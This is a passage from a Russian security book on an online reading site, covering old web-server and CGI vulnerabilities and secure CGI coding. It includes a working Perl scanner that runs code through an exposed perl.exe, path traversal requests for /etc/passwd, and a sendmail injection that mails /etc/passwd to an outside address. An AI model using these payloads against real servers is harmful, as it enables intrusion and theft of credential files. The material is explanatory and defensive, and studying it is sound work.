Чтение онлайн

на главную - закладки

Жанры

Шрифт:

Проверяя эту уязвимость, мы выяснили, что проблема проявилась во время отправки запроса длиной 8 181 байт. При этом Dr. Watson вывел следующее сообщение об ошибке в программе INETINFO.EXE: «Access violation, address 0x77A07614». В результате более подробного рассмотрения дампа ошибки выяснилось, что по этому адресу в программе идет код CMPSB (сравнение строк), использующий ESI и EDI как базовые указатели. Очевидно, они вышли за пределы разрешенной области, что и спровоцировало ошибку. Следовательно, подтверждается вывод: такая уязвимость не приведет к исполнению «троянского» кода (как обычно это бывает при переполнении буфера), а приведет только к остановке сервиса WWW.

При проверке этой уязвимости выяснилось, что наличие CGI-запроса также необязательно. Был подобран запрос вида… длиной 8 206 байт, вызывавший в точности такую же картину. Любопытно, что запросы больше или меньше на 2 байта ни к каким сообщениям INETINFO не приводили.

Очень старая ошибка в MS IIS – зная путь до. cmd– или .bat-файла на сервере, можно добиться выполнения своих команд, передав их следующим образом:

http://www.victim.com/scripts/script.bat?&COMMAND1+?&COMMAND2+?&…+?&COMMANDN.

Все в том же IIS адрес видапозволял просматривать файлы вне корневого каталога Web-сервера, выполнять скрипты и т. д. Правда, это не работало в случае ограничения доступа к этим файлам пользователю IUSR_hostname.

Ошибки во вспомогательных программах

В комплекте с серверами обычно поставляются всевозможные вспомогательные утилиты, примеры CGI-скриптов и т. д. При обновлении серверных программ вполне может возникнуть ситуация, когда вместе с новыми утилитами и примерами продолжают трудиться и старые, со всеми испытанными ошибками.

Классический и, наверное, известный всем, но до сих пор встречающийся образец – скрипт phf. Это вовсе не специально оставленный «черный вход», как можно подумать, глядя на результаты его использования, а всего лишь пример скрипта ведения телефонной книги, распространявшийся со старыми версиями Apache и некоторыми другими серверами. Для желающих проверить на прочность современные серверы – в конфигурационных файлах, приходящих с последними версиями Apache, достаточно раскомментировать четыре строчки, чтобы все попытки обращения к phf перенаправлялись

на сервер http:// phf.apache.org/phf_abuse_log.cgi. Впрочем, многие администраторы слишком ленивы, чтобы выполнить это.

Проблема в следующем: встретив в командной строке символ перевода строки (0x0a), он ведет себя иначе: строкаприведет к выполнению на сервере команды cp /etc/passwd ~someuser/passwd, а– к выполнению команды /bin/cat /etc/passwd.

Аналогичная проблема с 0x0a существует у скрипта campus.cgi, распространяемого с NCSA server, а также у некоторых других. Все эти ошибки, связанные с переводом строки, были вызваны тем, что пример кода на C (cgi_src/util.c), распространявшийся долгое время с NCSA httpd в качестве примера, как надо писать безопасные скрипты CGI, не содержал символа перевода строки в списке символов, запрещенных для передачи оболочке операционной системы. В итоге страдали все скрипты, использующие эту библиотеку.

Со скриптами test или test-cgi, включаемыми некоторыми серверами для проверки правильности передачи серверу переменных окружения, связана другая ошибка. Вот примерное содержимое этого скрипта:

#!/bin/sh

echo SERVER_SOFTWARE = $SERVER_SOFTWARE

echo SERVER_NAME = $SERVER_NAME

echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE

echo SERVER_PROTOCOL = $SERVER_PROTOCOL

echo SERVER_PORT = $SERVER_PORT

echo REQUEST_METHOD = $REQUEST_METHOD

echo HTTP_ACCEPT = "$HTTP_ACCEPT"

echo PATH_INFO = "$PATH_INFO"

echo PATH_TRANSLATED = "$PATH_TRANSLATED"

echo SCRIPT_NAME = "$SCRIPT_NAME"

echo QUERY_STRING = $QUERY_STRING

echo REMOTE_HOST = $REMOTE_HOST

echo REMOTE_ADDR = $REMOTE_ADDR

echo REMOTE_USER = $REMOTE_USER

echo AUTH_TYPE = $AUTH_TYPE

echo CONTENT_TYPE = $CONTENT_TYPE

echo CONTENT_LENGTH = $CONTENT_LENGTH

Передача «*» серверу в качестве QUERY_STRING приводит к выдаче списка содержимого каталога cgi-bin (модификация – передача «/» или любого другого пути). После исправления ошибки (заключающейся в установке кавычек вокруг $QUERY_STRING) настала очередь SERVER_PROTOCOL. В обычной ситуации она принимает значение вида «HTTP/1.0», но, как выяснилось, Apache прекрасно проглатывал любое другое значение, что позволило передавать злосчастную звездочку в этой переменной окружения.

Ошибки в файлах-примерах для PHP (PHP – скриптовый язык, выполняемый на серверной стороне, нечто аналогичное Microsoft ASP): mlog.html и mylog.html включают строчку <?include "$screen">.

Поскольку здесь отсутствует какая бы то ни было фильтрация, никто не мешает передать этому скрипту полный путь до любого файла: http:/ /www.victim.com/logs/mlog.html?screen=/etc/passwd.

Огромное количество ошибок связано с расширениями FrontPage (FPE). FrontPage – это не только WYSIWYG-редактор html-кода, относиться к которому можно по-разному, но и мощное средство администрирования Web-сайта. Чтобы воспользоваться всеми возможностями FrontPage, на сервер должны быть установлены дополнительные средства, так называемые расширения FrontPage, которые разработаны для различных платформ и серверов. Тут-то нас и подстерегают некоторые неожиданности.

Начнем с того, что при установке FrontPage 1.1 пользователь IUSR_hostname получал право доступа Full Control к каталогу _vti_bin и файлу shtml.exe, а взломщик, подобрав пароль этого пользователя, получал доступ к каталогу с исполняемыми файлами.

Чуть позже выяснилось, что пароли для сайта можно спокойно взять из файловhttp://www.victim.com/_vti_pvt/authors.pwd и(по умолчанию доступ к этим файлам открыт для всех желающих).

Дальше – больше. При установке FPE на Apache его настройки корректируются таким образом, что любой файл, размещенный в подкаталогах с именем _vti_bin, может быть выполненным. Очень удобно для запуска cgi-скриптов на серверах, не дающих такой возможности.

Вообще, стандартные имена конфигурационных файлов предоставляют широкие возможности по поиску серверов с установленными FPE – достаточно послать запрос на поиск, к примеру, _vti_inf.html.

Ошибки администрирования

Любая система может оказаться совершенно незащищенной из-за незначительной на первый взгляд ошибки в администрировании.

Так, Apache включает директиву UserDir, определяющую подкаталог в пользовательском каталоге, из которого берутся html-файлы при обращении вида /~user. Установив директиву в /usr/*/public_html, мы получим трансляцию адреса видав путь /usr/user/public_html/dir/file.html. По умолчанию этой директиве присвоено значение public_html. Некоторые серверы, не найдя соответствующий каталог, переадресуют нас в домашний каталог пользователя user. Далее мы можем пробовать обращения типаhttp://www.victim.com/~uucp/etc/passwd и т. д. Аналогичный эффект получится, если установить UserDir в «./». Поэтому в версиях Apache 1.3 и выше рекомендуется использовать директиву UserDir disabled root.

К ошибкам конфигурирования относятся и упомянутые в предыдущем разделе ошибки FrontPage, в то же время правильное администрирование может минимизировать вред от многочисленных ошибок IIS.

Совершенно изумительных результатов можно добиться, поместив perl.exe в каталог cgi-bin любого сервера на PC-платформе (или любой другой каталог, из которого разрешен запуск CGI-скриптов). Определить такой сервер можно по использованию на нем адресов видаОдно время такая практика была очень распространена (это рекомендовалось компанией Netscape для выполнения perl-скриптов на ее сервере, не поддерживающем механизма ассоциации файловых расширений с исполняемыми приложениями), но понемногу сошла на нет, что было связано с распространением скриптов (подобных приведенному ниже), позволяющих выполнить на удаленной машине любой perl-код.

#!/usr/bin/perl -w

#

#####################################################################

# latrodectus cyberneticus – probe web for insecure perl installations

# [email protected]

# version 1.0, Thu Mar 28 17:53:42 MST 1996

#

# requires the LWP library, fetchable from the CPAN multiplexor at

# http://www.perl.com/cgi-bin/cpan_mod?module=LWP

#####################################################################

#AUTHOR: Tom Christiansen <[email protected]>

#Last update: Thu Mar 28 17:53:42 MST 1996

require 5.002;

use strict;

use LWP::UserAgent;

my $PROGNAME = "latrodectus cyberneticus";

my $VERSION = "1.0";

my $DEF_CGI_BIN = "/cgi-bin";

# Имя интерпретатора perl на удаленной машине,

# стоит попробовать и perl.exe, и perl.com

my $DEF_PERL_PATH = "/perl.exe";

# Заносим в переменную $PROGRAM текст, начинающийся

# после слов __END__, – нашу программу, которая будет

# выполняться на удаленном сервере

my $PROGRAM = join qq===><DATA>;

$| = 1;

if (@ARGV) {

for (@ARGV) { probe($_) }

} elsif (!-t STDIN) {

while (<STDIN>) {

chomp;

probe($_);

}

} else {

die "usage: $0 [site ...]\n";

}

sub probe {

my $site = shift;

my $cgi_bin = ’’;

my $perl_path = ’’;

my $pre_site = ’’;

if ($site !~ m#/#) {

$cgi_bin = $DEF_CGI_BIN;

}

if ($site !~ /perl/) {

$perl_path = $DEF_PERL_PATH;

}

if ($site !~ m#^//#) {

$pre_site = ’//’;

}

my $ua = LWP::UserAgent->new;

$ua->agent("$PROGNAME, v$VERSION");

#Формируем полный url интерпретатора

my $full_targ = ’http:’ . $pre_site . $site . $cgi_bin . $perl_path;

printf "%-35s ", $site;

# Открываем соединение

my $req = HTTP::Request->new( POST => $full_targ );

# Посылаем нашу программу

$req->content_type(’application/x-www-form-urlencoded’);

$req->content($PROGRAM);

#Получаем ответ

my $res = $ua->request($req);

# Проверяем, выполнилась ли наша программа

if ($res->is_success) {

if ($res->content =~ /WWW Black Widow/) {

print "<<<< COMPROMISED >>>\n";

} else {

my $oops = $res->content;

$oops =~ s/\n/ /g;

print "APPREHENDED: $oops\n";

}

} else {

my $oops = $res->code . " " . $res->message;

if ($res->code == 404) {

print "SAFE: $oops";

} else {

print "ERROR: $oops";

}

print "\n" unless $oops =~ /\n$/;

}

}

__END__

# Здесь начинается код, который будет выполнен на удаленной

# машине. Сначала выводится некий текст для проверки

# работы скрипта

print <<EOF;

Content-Type: text/plain

The WWW Black Widow was here.

EOF

# Ну а здесь уже можно написать что угодно – от простого

# сообщения администратору о найденной дырке, до чего-нибудь

# типа

# system("rm -rf * /*");

# system("format a:");

# system("ls -lR");

# system("dir");

# unlink <* *.* /*>;

print "If I were nasty, you’d be spiderfood by now.\n";

print "\n\n\t–the black widow\n";

__END__

Если под рукой нет Perl, можно попробовать просто дать команду типаАналогичные проблемы возникают при реализации PHP в качестве cgi-скрипта и его размещении в каталоге cgi-bin.

Безопасность CGI-приложений

Устанавливая последнюю версию Web-сервера, мы можем быть уверены хотя бы в том, что она не содержит очевидных ошибок, опубликованных по всей Сети пару лет тому назад. На появление новых ошибок производители реагируют достаточно быстро, а задача администратора сводится к тому, чтобы быть в курсе происходящего. С CGI-приложениями ситуация несколько иная – на сей раз в роли разработчика зачастую выступают владельцы сайтов, которые должны сами заботиться о безопасности приложений. Не стоит особо доверять и готовым скриптам, так как огромное количество ошибок обнаруживается именно в примерах, поставляемых вместе с Web-серверами, а также во многих популярных скриптах.

Вопросам безопасности, наиболее часто встречающимся ошибкам и методам создания безопасных CGI-приложений и посвящен этот раздел.

Общие сведения

CGI (Common Gateway Interface – общий шлюзовой интерфейс) представляет собой компонент Web-сервера, обеспечивающий взаимодействие с другими программами, выполняемыми на этом сервере. Используя CGI, Web-сервер вызывает внешнюю программу (CGI-приложение) и передает ей информацию, полученную от клиента (например, переданную Web-браузером). Далее CGI-приложение обрабатывает полученную информацию и результаты ее работы передаются клиенту.

Рассмотрим эти этапы чуть подробнее. Взаимодействие между клиентом и серверным приложением осуществляется по схеме, представленной на рис. 10.5.

Рис. 10.5. Схема взаимодействия браузера, WWW-сервера и cgi-приложения

1. Пользователь

заполняет экранную форму и нажимает на кнопку Submit. Возможен также запрос при непосредственном использовании адреса CGI-приложения – указывая его в строке Location браузера, в тэге <img>, с помощью средств включения сервера (SSI) и т. д.

2. На основе информации из формы браузер формирует HTTP-запрос и отправляет его серверу. Информация приводится к виду param1=value1&param2=value2…&paramN=valueN. Если указано, что при передаче должен использоваться метод GET, эта строка передается непосредственно в URL (например,. При использовании метода POST через заголовок передается информация о типе содержимого запроса (для форм это, как правило, application/x-www-form-urlencoded), а также длина строки. Сама строка в этом случае передается непосредственно в теле запроса (примеры приведены чуть ниже). В заголовках запроса также передается значительное количество вспомогательной информации: тип браузера, адрес страницы, с которой был произведен запрос, и т. д.

3. Сервер вызывает CGI-приложение и в зависимости от метода запроса передает информацию из формы через переменную окружения QUERY_STRING (в случае GET) либо через стандартный ввод (в случае POST). Также формируются другие переменные окружения, такие как HTTP_USER_AGENT, REMOTE_HOST и др.

4. CGI-приложение считывает строку с переданной информацией со стандартного ввода (stdin) или из переменной окружения QUERY_STRING. Обработав информацию, программа, как правило, либо переадресует браузер на некоторый существующий документ с помощью http-заголовка Location, либо cформирует виртуальный документ, посылая информацию на стандартный вывод (stdout). Телу документа предшествуют HTTP-заголовки, описывающие тип возвращаемых данных, управляющие кэшированием, работой с cookies и т. д. Все это передается серверу.

5. Сервер пересылает ответ CGI-приложения браузеру.

6. Браузер, основываясь на заголовках HTTP, интерпретирует ответ CGI-приложения и выводит его для просмотра пользователем.

Реализовать CGI-приложение можно на любом языке, способном генерировать код для серверной платформы или для которого доступен интерпретатор. Так, простейшее CGI-приложение может быть реализовано на языке пакетных файлов DOS, на Delphi, С/С++, Tcl, Visual Basic, AppleScript, FoxPro и т. д. Широкое распространение в качестве языка для CGI-приложений получил Perl. Синтаксис Perl унаследован в первую очередь от С, в него добавлены расширенные средства для работы со строками, регулярными выражениями, ассоциативными массивами и т. д. Это интерпретируемый язык, изначально созданный для UNIX-систем, сейчас его интерпретаторы доступны для большинства популярных архитектур, что делает особенно легким перенос приложений.

CGI-приложения были первым средством «оживления» статичных Web-страниц. Их главная особенность в том, что они выполняются на сервере. Java, JavaScript, ActiveX появились позднее и, в отличие от cgi, предназначались преимущественно для создания приложений на клиентской стороне. Но даже такая тривиальная задача, как установка счетчика посещений страницы, уже требует серверного решения. О плюсах серверных решений можно говорить долго, но нас сейчас интересует совсем другой вопрос – некорректно написанное CGI-приложение может стать источником весьма серьезных проблем.

Ответственность разработчика CGI-приложения ничуть не меньше ответственности разработчика Web-сервера. Ошибка и того, и другого может привести к одинаково печальным последствиям. Однако мало кто занимается написанием Web-серверов для души – все-таки это удел профессионалов, в то время как количество желающих развлечься CGI-программированием постоянно растет, и с плодами их творчества мы сталкиваемся все чаще и чаще.

Распространенные ошибки

Основная ошибка начинающих программистов – надежда на то, что пользователь будет себя вести «хорошо» и обращаться с программой именно так, как задумано автором. Это справедливо не только для CGI-приложений, но и для любого программного обеспечения, однако когда автор многочисленных утилит «для себя» решает попробовать свои силы в программировании для серверов, он немедленно попадает в другую весовую категорию. Ему может казаться, что он продолжает писать «для себя», в действительности же его потенциальными пользователями становятся все обитатели сети, а уж от них ждать снисхождения не приходится. И не стоит успокаивать себя тем, что CGI-приложения выполняются в контексте пользователя с минимальными правами – даже в хорошо сконфигурированной системе этих прав зачастую достаточно для выдачи информации, которой можно воспользоваться при взломе системы.

Поэтому особенно важно с самого начала четко представлять, какие подводные камни ожидают CGI-программиста, чтобы по возможности избежать горького опыта обучения на собственных ошибках.

Несколько слов о выборе средств разработки. Компилируемые языки, такие как C/C++, имеют некоторое преимущество в том смысле, что на сервере отсутствует исходный код приложения, а это сильно затрудняет возможность его исследования – в отличие от интерпретируемых языков (например, Perl). В штатных условиях код последних также недоступен, но всегда есть возможность добраться до него, используя какие-то ошибки сервера или просто находя сохраненную резервную копию. С другой стороны, исходные тексты популярных CGI-приложений и так достаточно распространены в сети, кроме того, тот же Perl имеет встроенные механизмы обеспечения безопасности выполняемых скриптов, так что нельзя априори утверждать, что программа на C будет безопасней аналогичной программы на Perl. Все дальнейшие рассуждения по большей части применимы как к компилируемым, так и к интерпретируемым программам.

Во-первых, самая распространенная ошибка для программистов на C/ C++, как обычно, связана с возможностью переполнения буфера (см. главу 9). Эта проблема особенно характерна для C/C++, поскольку программисту на Perl нет необходимости заботиться о ручном выделении памяти под строки.

Например, для получения данных, переданных методом POST, можно написать следующий код:

char buff [4096];

int length = atoi(getenv("CONTENT_LENGTH"));

fread(buff, 1, length, stdin);

Возможное переполнение буфера налицо. Справиться с этой проблемой очень легко – достаточно динамически выделить буфер требуемой длины:

int length = atoi(getenv(«CONTENT_LENGTH»));

char* buff = new char[length];

if(buff)

fread(buff, 1, length, stdin);

Потенциально опасны многие строковые функции, определяющие конец строки по завершающему нулю. Поэтому вместо функций strcpy, strcat, strcmp и т. п. настоятельно рекомендуется использовать их аналоги strncpy, strncat, strncmp, позволяющие указать максимальное количество обрабатываемых символов.

Казалось бы, можно ограничить объем вводимой информации указанием соответствующих параметров в тэгах формы, но это еще одно очень опасное заблуждение, которого мы коснемся чуть позже.

Возможно, именно из-за необходимости постоянно контролировать размер буфера многие начинающие (и не только) CGI-программисты предпочитают Perl.

Во-вторых, следующий большой класс ошибок связан с вызовом внешних программ. Здесь Perl предоставляет больше шансов для случайной ошибки – в то время как у С++ с этой точки зрения потенциально опасны функции popen и system (причем вместо последней часто можно безболезненно воспользоваться exec или spawn), у Perl проблемными считаются функции system и exec, open с перенаправлением вывода (аналогичная popen), функция eval, а также обратная кавычка «`».

Сами по себе перечисленные функции достаточно безопасны, и, если скрипт просто вызывает некую внешнюю программу, никакой беды в этом нет. Сложности возникают, когда скрипт передает внешней программе в качестве параметра некую информацию, введенную пользователем: адрес, сообщаемый программе электронной почты, вызов grep из поисковой системы и т. д. Если в процессе вызова внешней программы будет участвовать командная оболочка, как это происходит при использовании перечисленных функций, то можно воспользоваться ее управляющими символами и выполнить на сервере любую команду.

Очевидный пример – отправление письма по адресу, указанному пользователем (например, в качестве подтверждения какого-то запроса и т. п.):

#!/usr/bin/perl

use CGI qw(:standard);

$query = new CGI;

$mailprog=’| /usr/sbin/sendmail’;

$address= $query->param(’address’);

$from=’webmaster@somehost’;

open (MAIL,"$mailprog $address");

print MAIL "From: $from\nSubject: Confirmation\n\n";

print MAIL "Your request was successfully received\n";

close MAIL;

Теперь предположим, что пользователь ввел следующий обратный адрес: [email protected];mail [email protected] </etc/passwd;, в результате чего выполнится команда /usr/sbin/sendmail [email protected];mail [email protected] </etc/passwd; – явно не то, что мы ожидали (сравните, кстати, с атаками, описанными в главе 9).

Кроме того, при этом вполне может быть использована какая-нибудь недокументированная команда или люк, позволяющие выполнить код от имени привилегированного пользователя.

В-третьих, уязвимы программы, рассчитывающие на определенные значения специальных переменных, к примеру, на значение переменной PATH при вызове внешних программ. Нарушитель может попытаться изменить ее значение так, чтобы она указывала на программу, которую он хочет подставить для выполнения вашим сценарием вместо ожидаемой вами. Следовательно, необходимо либо указывать полный путь до исполняемой программы, либо устанавливать ее значение до первого использования. Причем не рекомендуется помещать в PATH текущий путь (данное правило, к сожалению, игнорируется во всех Windows-системах, начинающих поиск запускаемой программы именно с текущего каталога).

В-четвертых, опасным заблуждением является расчет на то, что ограничения, установленные в полях формы, а также значения спрятанных полей не будут никем модифицированы. В действительности же никто не может помешать пользователю подсмотреть значения скрытых полей в исходном коде страницы, скопировать страницу на свой диск, слегка модифицировать по своему усмотрению и проверить скрипт на прочность.

Первым барьером на этом пути обычно служит проверка переменной окружения HTTP_REFERER, хранящей URL страницы, с которой был вызван скрипт. Если HTTP_REFERER указывает на адрес, не имеющий ничего общего с адресом нашего сайта, можно смело игнорировать этот вызов, рассматривая его как атаку.

Использовать HTTP_REFERER эффективно в борьбе со спаммерами, засоряющими гостевые книги, доски объявлений и т. п. Конечно, в большинстве случаев помогает блокировка соответствующего IP-адреса, сочетающаяся с установкой cookie, однако более настойчивый пользователь может подготовить html-код с формой, вызывающей ваш скрипт гостевой книги, и пару строк на JavaScript, автоматически отправляющих эту форму, после чего разместить html-код в чужих гостевых книгах, разослать его по телеконференциям и т. п. При отсутствии проверки на HTTP_REFERER несколько веселых дней вам гарантировано.

К сожалению, не все так хорошо и с проверкой. Переменная HTTP_REFERER получает свое значение из http-заголовка Referer, передаваемого клиентом. Если в роли клиента выступает обычный браузер, этот заголовок действительно заполняется так, как мы и предполагали. Но проблема в том, что никто не помешает воспользоваться клиентом, ведущим себя менее добросовестно, к примеру, вот таким скриптом:

#!/usr/bin/perl -w

use Socket;

$proto = getprotobyname(’tcp’);

socket(Socket_Handle, PF_INET, SOCK_STREAM, $proto);

$port = 80;

$host = "www.victim.com";

$sin = sockaddr_in($port,inet_aton($host));

connect(Socket_Handle,$sin);

send Socket_Handle,"GET /cgi-bin/env.cgi?param1=val1&param2=val2 HTTP/1.0\n",0;

send Socket_Handle,"Referer: any referer you wish\n",0;

send Socket_Handle,"User-Agent: my agent\n",0;

send Socket_Handle,"\n",0;

while (<Socket_Handle>)

{

print $_;

}

Поделиться:
Популярные книги

На границе империй. Том 7. Часть 3

INDIGO
9. Фортуна дама переменчивая
Фантастика:
космическая фантастика
попаданцы
5.40
рейтинг книги
На границе империй. Том 7. Часть 3

Здравствуйте, я ваша ведьма! Трилогия

Андрианова Татьяна
Здравствуйте, я ваша ведьма!
Фантастика:
юмористическая фантастика
8.78
рейтинг книги
Здравствуйте, я ваша ведьма! Трилогия

Найди меня Шерхан

Тоцка Тала
3. Ямпольские-Демидовы
Любовные романы:
современные любовные романы
короткие любовные романы
7.70
рейтинг книги
Найди меня Шерхан

Мастер 8

Чащин Валерий
8. Мастер
Фантастика:
попаданцы
аниме
фэнтези
5.00
рейтинг книги
Мастер 8

Наследник павшего дома. Том II

Вайс Александр
2. Расколотый мир [Вайс]
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Наследник павшего дома. Том II

Пышка и Герцог

Ордина Ирина
Фантастика:
юмористическое фэнтези
историческое фэнтези
фэнтези
5.00
рейтинг книги
Пышка и Герцог

Измена. Он все еще любит!

Скай Рин
Любовные романы:
современные любовные романы
6.00
рейтинг книги
Измена. Он все еще любит!

Ищу жену с прицепом

Рам Янка
2. Спасатели
Любовные романы:
современные любовные романы
6.25
рейтинг книги
Ищу жену с прицепом

Протокол "Наследник"

Лисина Александра
1. Гибрид
Фантастика:
фэнтези
попаданцы
аниме
5.00
рейтинг книги
Протокол Наследник

Жена по ошибке

Ардова Алиса
Любовные романы:
любовно-фантастические романы
7.71
рейтинг книги
Жена по ошибке

Медиум

Злобин Михаил
1. О чем молчат могилы
Фантастика:
фэнтези
7.90
рейтинг книги
Медиум

Чужая семья генерала драконов

Лунёва Мария
6. Генералы драконов
Фантастика:
фэнтези
5.00
рейтинг книги
Чужая семья генерала драконов

Отчий дом. Семейная хроника

Чириков Евгений Николаевич
Проза:
классическая проза
5.00
рейтинг книги
Отчий дом. Семейная хроника

Я не Монте-Кристо

Тоцка Тала
Любовные романы:
современные любовные романы
5.57
рейтинг книги
Я не Монте-Кристо